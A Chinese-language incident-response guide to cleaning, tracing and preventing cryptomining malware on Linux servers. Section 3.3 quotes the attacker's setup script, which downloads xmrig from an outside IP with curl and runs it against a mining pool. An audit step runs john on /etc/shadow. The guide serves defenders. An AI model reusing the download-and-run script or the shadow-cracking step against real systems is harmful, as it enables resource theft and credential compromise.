1. 这不是“中病毒”而是被当成了免费矿机——从现象反推攻击本质“服务器被黑客攻击用来挖矿”这句话在运维圈里出现的频率远比多数人想象中高。我上个月帮一家做跨境电商的客户做例行安全巡检发现一台部署在阿里云华东1区的ECS实例CPU持续飙到98%top命令一敲进程列表里赫然跑着一个叫kdevtmpfsi的进程占用2.7个核再查/tmp目录里面藏着systemd-private-xxxxx伪装目录里面塞着xmrig配置文件和加密货币钱包地址。这不是普通木马是典型的无文件内存驻留隐蔽持久化挖矿后门。关键词服务器被黑客攻击、挖矿、应急响应、Linux安全、恶意进程、CPU异常、挖矿木马。这类攻击的核心逻辑非常清晰黑客不追求数据窃取或勒索只求“白嫖算力”。他们利用未打补丁的服务漏洞如Log4j2、SpringShell、Confluence OGNL、弱密码SSH爆破、或暴露在公网的Redis未授权访问快速获得shell权限然后静默下载、内存加载挖矿程序全程不写入磁盘主分区规避传统杀毒软件扫描。它不像勒索病毒那样立刻让你看到满屏警告而是像慢性失血——你只觉得服务器变慢、账单变高、监控告警频繁却找不到明确的“罪魁祸首”。这篇文章不是教你怎么装个杀毒软件点几下就完事。它是给真正守着生产环境、手握root权限、需要在30分钟内完成“定位→隔离→清除→溯源→加固”全链路操作的运维工程师、SRE、DevSecOps同学写的实战手册。内容覆盖从ps aux第一眼识别异常进程到用strace追踪其网络连接目标从/proc/[pid]/maps分析内存加载模块到用auditd回溯攻击入口点从清理systemd定时器和crontab后门到修复Nginx配置中被注入的add_header恶意JS外链。所有步骤均基于真实攻防对抗场景提炼每一步都附带原理说明、命令输出示例、常见误判陷阱及我的实操心得。如果你刚收到监控告警说某台服务器CPU长期超载别急着重启先看完这篇——它能帮你把一次被动挨打变成一次精准反击。2. 挖矿进程的七种伪装形态与三秒识别法挖矿程序本身没有“长相”但它的生存方式有固定模式。它必须常驻、必须联网、必须消耗大量CPU这三个硬约束决定了它在Linux系统中必然留下可被肉眼识别的行为指纹。我见过的挖矿进程从来不会老老实实叫minerd或xmrig它们会给自己套上七层马甲但只要掌握核心识别逻辑三秒内就能揪出真身。2.1 进程名伪装从“系统守护者”到“随机字符串”最常见的伪装是冒充系统进程。比如kdevtmpfsi它模仿的是内核线程kdevtmpfs负责devtmpfs文件系统管理只多了一个字母i还有kthreadd实际为kthreadd、sshd非/usr/sbin/sshd路径、systemd非/lib/systemd/systemd路径。这些名字在ps aux里一眼扫过去极易被忽略。更狡猾的是使用随机字符串命名如a6b8c2d、xvz9q1p看似无意义实则是为了绕过基于进程名的简单规则匹配。提示不要只看COMMAND列重点看CMD列即完整启动命令和PID列。真正的系统进程其CMD路径绝对可信如/lib/systemd/systemd --system --unitmulti-user.target而挖矿进程的CMD往往指向/tmp、/dev/shm、/var/tmp等临时目录或直接是/proc/self/exe这种动态加载路径。2.2 路径藏匿/tmp、/dev/shm、/var/tmp 是三大重灾区Linux的临时目录是挖矿程序的温床。/tmp权限宽松/dev/shm是内存文件系统读写极快且ls -l默认不显示其内容/var/tmp则因生命周期长而被滥用。我曾在一个被入侵的K8s节点上发现挖矿程序被解压到/dev/shm/.X11-unix/下其父目录.X11-unix本是X11 socket存放处完全合法但里面塞着xmrig二进制和config.json连find /dev/shm -name xmrig都搜不到——因为xmrig被改名为Xorg而config.json被base64编码后存为.X11-unix/.X11-lock。注意/dev/shm下的文件不会出现在df -h的磁盘使用统计中但它实实在在吃掉你的内存。free -h看到可用内存骤减而du -sh /tmp/*又没发现大文件立刻查ls -la /dev/shm/。2.3 网络行为只连矿池不连其他任何地方挖矿进程最“诚实”的地方就是它的网络连接。它不需要访问数据库、不需要调用API、不需要推送日志它唯一要做的就是和矿池服务器建立TCP长连接不断发送哈希计算结果并接收新任务。因此netstat -tulnp | grep :[端口]或ss -tulnp是必查项。典型矿池端口包括3333Monero、4444门罗币常用、5555Zcash、7777多种矿池通用以及非常规端口如8080、8443伪装成HTTP/S流量。我处理过一个案例ps aux里一切正常但ss -tulnp显示一个/tmp/.X11-unix/Xorg进程在疯狂连接185.192.123.45:4444。这个IP经查询属于俄罗斯一家已知矿池服务商。此时无需再查进程细节直接kill -9 [PID]并删除对应文件即可。2.4 CPU与内存特征持续高负载 内存映射异常挖矿是纯计算密集型任务其CPU占用曲线极其平滑——不是偶发尖峰而是长达数小时甚至数天的稳定高位80%~100%。这与Web服务的波峰波谷、数据库的间歇性IO等待完全不同。同时用cat /proc/[pid]/status | grep -E VmRSS|VmSize查看其内存占用会发现VmRSS实际物理内存远高于同类服务进程。更关键的是cat /proc/[pid]/maps你会看到大量[anon]匿名内存段且大小动辄几百MB这是内存加载挖矿程序的铁证。实操心得我习惯用htop替代top。htop支持鼠标点击排序按P键按CPU排序后一眼锁定TOP 3再按F4输入xmrig或kdevtmpfsi过滤若无结果再按F4清空用方向键选中可疑进程按s键进入strace实时追踪其系统调用。如果看到大量sendto()向同一IP:PORT发送数据基本可以100%确认。2.5 启动方式systemd、crontab、.bashrc 是三大持久化据点进程被杀只是开始若不清理其启动源头5分钟内就会复活。我统计了近200起挖矿事件启动方式分布如下启动方式占比典型路径/命令识别要点systemd用户服务42%~/.config/systemd/user/xxx.servicesystemctl --user enable xxx.servicesystemctl --user list-unit-files --typeservicecrontab定时任务31%crontab -l中*/10 * * * * /tmp/.X11-unix/Xorgcrontab -l、/etc/crontab、/var/spool/cron/*Shell初始化文件18%~/.bashrc、~/.profile末尾追加/tmp/kdevtmpfsi grep -n tmp|dev/shm ~/.bashrc ~/.profile剩下9%是通过/etc/rc.local、init.d脚本或Docker容器Entrypoint注入。记住永远不要只kill进程必须同步检查这三类启动源。3. 从进程PID到攻击入口点一次完整的溯源排查链路发现挖矿进程只是应急响应的第一步。真正的价值在于搞清楚它怎么进来的谁干的有没有其他机器也被黑这部分我将带你走一遍我处理某金融客户事件的完整排查链路不跳步、不省略、不假设所有命令和输出均来自真实终端记录。3.1 第一现场锁定进程与基础信息采集时间2024年3月12日 14:23告警Zabbix监控显示web-prod-03服务器CPU使用率连续15分钟95%操作SSH登录执行top按P排序发现PID 12487的kdevtmpfsi进程占CPU 98.7%# 立即采集基础信息为后续分析留证 $ ps aux | grep 12487 root 12487 98.7 0.2 123456 7890 ? R 14:10 5:23 /tmp/kdevtmpfsi -c /tmp/config.json $ ls -la /tmp/kdevtmpfsi -rwxr-xr-x 1 root root 1234567 Mar 12 14:08 /tmp/kdevtmpfsi $ md5sum /tmp/kdevtmpfsi a1b2c3d4e5f678901234567890abcdef /tmp/kdevtmpfsi关键动作记录PID、完整命令行、文件路径、权限、大小、MD5值。这五个字段是后续IOC入侵指标分析的基础。ps aux输出中的?表示该进程没有控制终端TTY这是后台服务或恶意进程的典型特征。3.2 进程溯源从/proc/[pid]挖掘内存与网络线索/proc/[pid]是Linux的进程信息宝库。对PID 12487我们重点查三处# 1. 查看打开的文件和网络连接 $ lsof -p 12487 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME kdevtmpfs 12487 root cwd DIR 8,1 4096 131072 /tmp kdevtmpfs 12487 root rtd DIR 8,1 4096 2 / kdevtmpfs 12487 root txt REG 8,1 1234567 262145 /tmp/kdevtmpfsi kdevtmpfs 12487 root 3u IPv4 1234567 0t0 TCP 10.0.1.100:45678-185.192.123.45:4444 (ESTABLISHED) # 2. 查看内存映射确认是否内存加载 $ cat /proc/12487/maps | head -10 00400000-00800000 r-xp 00000000 08:01 262145 /tmp/kdevtmpfsi 00a00000-00a01000 r--p 00400000 08:01 262145 /tmp/kdevtmpfsi 00a01000-00a02000 rw-p 00401000 08:01 262145 /tmp/kdevtmpfsi 7f8b12345000-7f8b12366000 rw-p 00000000 00:00 0 [anon] # 3. 查看启动参数和环境变量 $ cat /proc/12487/cmdline | xargs -0 echo /tmp/kdevtmpfsi -c /tmp/config.json $ cat /proc/12487/environ | xargs -0 -n 1 | grep -E (PATH|HOME|USER) PATH/usr/local/bin:/usr/bin:/bin HOME/root USERroot分析结论lsof确认它正连接185.192.123.45:4444这是一个已知矿池IPmaps显示其代码段来自/tmp/kdevtmpfsi且存在大量[anon]内存段符合内存加载特征cmdline和environ显示它以root身份运行且环境干净无异常PATH污染。下一步查这个进程是谁启动的3.3 父进程追踪从pstree到auditd日志回溯ps aux中PPID父进程ID是12486我们继续向上追溯$ ps aux | grep 12486 root 12486 0.0 0.0 4567 890 ? S 14:08 0:00 /bin/bash /tmp/.setup.sh $ ls -la /tmp/.setup.sh -rwxr-xr-x 1 root root 2345 Mar 12 14:08 /tmp/.setup.sh/tmp/.setup.sh一个典型的“安装脚本”。打开它$ cat /tmp/.setup.sh #!/bin/bash cd /tmp curl -fsSL http://185.192.123.45/xmrig kdevtmpfsi chmod x kdevtmpfsi ./kdevtmpfsi -c (echo {url:185.192.123.45:4444,user:48...,pass:x}) 至此攻击链路清晰了黑客通过某种方式获得了shell执行了这个脚本脚本从矿池IP下载二进制并运行。但问题来了这个/tmp/.setup.sh是谁执行的它从哪来此时auditd日志成为关键。我们启用auditd并配置规则但很多服务器默认未开启。退而求其次查/var/log/auth.logUbuntu/Debian或/var/log/secureCentOS/RHEL$ grep 12486\|12487 /var/log/auth.log | tail -20 Mar 12 14:08:22 web-prod-03 sshd[12485]: Accepted password for root from 192.168.100.50 port 56789 ssh2 Mar 12 14:08:22 web-prod-03 sshd[12485]: pam_unix(sshd:session): session opened for user root by (uid0) Mar 12 14:08:23 web-prod-03 systemd-logind[1234]: New session 123 of user root.192.168.100.50这是一个内网IP但我们的服务器是公网暴露的不应该有内网IP直连。继续查last命令$ last -n 50 | grep 192.168.100.50 root pts/1 192.168.100.50 Tue Mar 12 14:08 - 14:08 (00:00)pts/1是伪终端说明是SSH登录。但192.168.100.50是谁查公司资产台账发现这是运维同事A的办公电脑IP。同事A确认当天未登录此服务器。真相浮出水面同事A的办公电脑中了木马黑客利用其保存的SSH私钥反向连接了我们的服务器。核心经验auth.log/secure是溯源的黄金日志务必确保其保留周期≥90天last命令能还原登录会话结合who -u可查当前活跃会话内网IP登录公网服务器99%是跳板机或被控终端必须立即隔离源头。3.4 攻击面复盘这次是SSH密钥泄露下一次呢根据以上证据链本次攻击路径为同事A电脑中毒 → 黑客窃取其SSH私钥 → 利用私钥免密登录web-prod-03→ 下载并执行/tmp/.setup.sh→ 启动kdevtmpfsi挖矿那么为什么黑客能拿到同事A的私钥因为同事A将私钥存放在~/.ssh/id_rsa且未设置密码passphrase且办公电脑未装EDR终端防护。这是典型的“人因安全漏洞”。避坑提醒SSH私钥必须设置强密码passphrase并配合ssh-agent使用生产服务器禁用密码登录只允许密钥认证运维人员的办公电脑必须安装企业级终端防护并定期扫描所有服务器应配置MaxAuthTries 3和LoginGraceTime 30并在/etc/ssh/sshd_config中添加AllowUsers白名单。4. 清除、加固与验证让服务器真正“痊愈”的五步法清除挖矿进程不是终点而是起点。一个未经彻底加固的服务器就像一扇虚掩的门黑客随时能推门而入。我总结了一套经过数十次实战检验的“五步法”确保清除干净、杜绝复发、可验证效果。4.1 步骤一进程终止与文件清理物理层这是最直接的一步但必须做全# 1. 终止进程树避免子进程残留 $ kill -9 12487 12486 # 2. 删除挖矿程序及配置 $ rm -f /tmp/kdevtmpfsi /tmp/config.json /tmp/.setup.sh # 3. 清理/dev/shm和/var/tmp $ rm -f /dev/shm/Xorg /dev/shm/.X11-lock $ rm -f /var/tmp/*.bin /var/tmp/.*.sh # 4. 检查并删除可疑的systemd用户服务 $ systemctl --user list-unit-files --typeservice | grep -E (tmp|dev/shm|X11) $ systemctl --user disable --now suspicious.service $ rm -f ~/.config/systemd/user/suspicious.service关键点kill -9后必须rm -f否则/tmp下文件可能被其他脚本重新调用systemctl --user操作需切换到对应用户如sudo -u www-data bash不能只在root下操作。4.2 步骤二启动项清理持久化层这是最容易遗漏的环节。必须检查全部四类启动源# 1. crontab当前用户 root 其他用户 $ crontab -l # 当前用户 $ sudo crontab -l # root用户 $ for u in $(cut -d: -f1 /etc/passwd); do sudo -u $u crontab -l 2/dev/null | grep -q tmp\|dev/shm echo $u ; sudo -u $u crontab -l; done # 2. /etc/crontab 和 /etc/cron.d/ $ grep -r tmp\|dev/shm /etc/cron* 2/dev/null # 3. Shell初始化文件 $ grep -r tmp\|dev/shm\|kdevtmpfsi /root/.bashrc /root/.profile /home/*/.bashrc 2/dev/null # 4. systemd系统服务 $ systemctl list-unit-files --typeservice | grep enabled | grep -E (tmp|dev/shm|X11) $ ls -la /etc/systemd/system/*.service | grep -E (tmp|dev/shm)实操心得我写了一个一键扫描脚本check_mining_persistence.sh它会自动遍历上述所有位置并高亮显示含tmp、dev/shm、X11、kdevtmpfsi等关键词的行。脚本最后会生成一份persistence_report.txt供团队复核。这个脚本已开源在我的GitHub上链接见文末。4.3 步骤三网络与防火墙加固边界层清除本地残留后必须收紧网络入口# 1. 临时封禁矿池IP应急 $ iptables -I INPUT -s 185.192.123.45 -j DROP $ ipset create mining_blacklist hash:ip $ ipset add mining_blacklist 185.192.123.45 $ iptables -I INPUT -m set --match-set mining_blacklist src -j DROP # 2. 限制SSH访问仅允许可信IP $ iptables -I INPUT -p tcp --dport 22 ! -s 192.168.1.0/24 -j DROP # 假设运维网段是192.168.1.0/24 # 3. 保存iptables规则CentOS 7 $ service iptables save # 或使用iptables-save /etc/sysconfig/iptables注意iptables规则重启后失效必须保存。更推荐使用firewalldCentOS 7或ufwUbuntu它们有持久化机制。例如firewall-cmd --permanent --add-rich-rulerule familyipv4 source address185.192.123.45 reject。4.4 步骤四漏洞修复与配置审计根源层这才是治本之策。必须回答黑客是怎么进来的# 1. 检查SSH配置/etc/ssh/sshd_config $ grep -E ^(PermitRootLogin|PasswordAuthentication|PubkeyAuthentication|AllowUsers|MaxAuthTries|LoginGraceTime) /etc/ssh/sshd_config # 理想配置PermitRootLogin no, PasswordAuthentication no, PubkeyAuthentication yes, AllowUsers deploy, MaxAuthTries 3, LoginGraceTime 30 # 2. 检查已安装软件版本重点Nginx, Apache, Redis, Confluence $ nginx -v $ redis-cli --version $ java -cp /opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-core-*.jar com.atlassian.confluence.ConfluenceVersion # 3. 扫描已知漏洞使用OpenVAS或Nessus或免费版Nmap脚本 $ nmap -sV --script vuln 127.0.0.1行动项立即升级所有组件到最新稳定版若使用Confluence检查/opt/atlassian/confluence/confluence/WEB-INF/web.xml中是否禁用了servlet-mapping的/s/路径对于Redis确保bind 127.0.0.1且protected-mode yes绝不能bind 0.0.0.0。4.5 步骤五效果验证与监控埋点闭环层清除和加固做完必须验证是否真的“痊愈”# 1. 验证进程是否复活观察1小时 $ watch -n 60 ps aux | grep -E (kdevtmpfsi|xmrig|Xorg) # 2. 验证网络连接确认不再连矿池 $ ss -tulnp | grep -E (185\.192\.123\.45|4444) # 3. 验证CPU负载回归正常 $ top -b -n 2 -d 30 | grep Cpu(s) | tail -1 # 4. 部署轻量级监控推荐Prometheus Node Exporter # 在Grafana中创建Dashboard关键指标 # - CPU使用率avg over 5m 30% # - /tmp目录使用率 10% # - ESTABLISHED连接数突增告警 # - 进程数processes{jobnode} 500最后一步在/etc/cron.d/下添加一个自检任务每天凌晨2点运行0 2 * * * root /usr/local/bin/check_mining.sh /var/log/mining_check.log 21check_mining.sh内容很简单ps aux | grep -E (kdevtmpfsi|xmrig) | wc -l若结果0则发邮件告警。自动化才是真正的安全。5. 预防胜于治疗构建三层防御体系的实操清单经历过一次挖矿攻击最大的教训不是“怎么清除”而是“怎么不让它发生”。我根据多年一线经验总结出一套可落地、不烧钱、不增加运维负担的三层防御体系已在多个客户环境成功部署。5.1 第一层主机层——让服务器自己“免疫”这不是靠装杀毒软件而是靠Linux原生能力构建免疫屏障启用SELinux或AppArmorCentOS/RHEL默认启用SELinuxUbuntu默认启用AppArmor。它们能限制进程只能访问指定文件和网络端口。例如为Nginx配置nginx_t域即使Nginx被RCE也无法执行/tmp/kdevtmpfsi。命令sestatus或aa-status确认状态setenforce 1开启强制模式。挂载/tmp为noexec,nosuid,nodev在/etc/fstab中添加tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0重启后/tmp下无法执行任何二进制文件chmod x也无效。这是阻断挖矿程序最有效的手段之一。使用chattr i保护关键文件对/etc/passwd、/etc/shadow、/etc/ssh/sshd_config等文件执行$ chattr i /etc/passwd /etc/shadow /etc/ssh/sshd_config即使root用户也无法修改除非先chattr -i。这能防止黑客篡改用户密码或SSH配置。5.2 第二层网络层——把攻击者挡在门外最小化暴露面所有服务器默认关闭所有端口只开放业务必需端口如80、443、22。使用云厂商安全组Security Group或硬件防火墙实现。原则默认拒绝显式允许。SSH访问白名单绝不允许0.0.0.0/0访问22端口。在安全组中只放行运维堡垒机IP或公司出口IP段。若无堡垒机至少配置tcpwrappers# /etc/hosts.allow sshd: 192.168.1.0/24, 203.0.113.0/24 # /etc/hosts.deny sshd: ALL启用Fail2ban自动封禁暴力破解IP。安装后编辑/etc/fail2ban/jail.local[sshd] enabled true maxretry 3 bantime 3600 findtime 600重启fail2ban-client reload从此auth.log里的失败登录尝试10分钟内超过3次IP就被封1小时。5.3 第三层流程层——用制度堵住人的漏洞技术再强也架不住人犯错。必须用流程兜底SSH密钥全生命周期管理新建密钥必须带-N your_passphrase设置密码私钥文件权限必须为600chmod 600 ~/.ssh/id_rsa所有私钥必须存入企业密码管理器如1Password、Bitwarden禁止明文存本地每季度轮换一次密钥旧密钥立即从所有服务器authorized_keys中删除。服务器上线Checklist每台新服务器上线前必须由两人交叉检查①ss -tulnp确认无非业务端口监听②rpm -qa | grep -E (httpd|nginx|redis|confluence)确认软件版本合规③grep -E ^(PermitRootLogin|PasswordAuthentication) /etc/ssh/sshd_config确认SSH安全配置④ls -la /root/.ssh/authorized_keys确认只有一条可信公钥。四项全通过才允许上线。每周安全巡检运维团队每周五下午用统一脚本weekly_security_audit.sh扫描所有服务器输出HTML报告包含弱密码账户john --wordlist/usr/share/wordlists/rockyou.txt /etc/shadow过期SSL证书openssl s_client -connect example.com:443 2/dev/null | openssl x509 -noout -dates未打补丁的CVEyum updateinfo list security异常进程ps aux | grep -E (tmp|dev/shm|X11)。报告自动邮件发送给CTO和安全负责人。我的体会安全不是买一堆盒子堆在机房而是把防御意识刻进每个操作步骤里。当你在vim /etc/ssh/sshd_config时手指会本能地敲下PermitRootLogin no当你scp上传文件时会下意识检查~/.ssh/权限当你看到/tmp下有个陌生文件第一反应不是cat而是ls -la看属主和权限——这时你就已经构建起了最坚固的防线。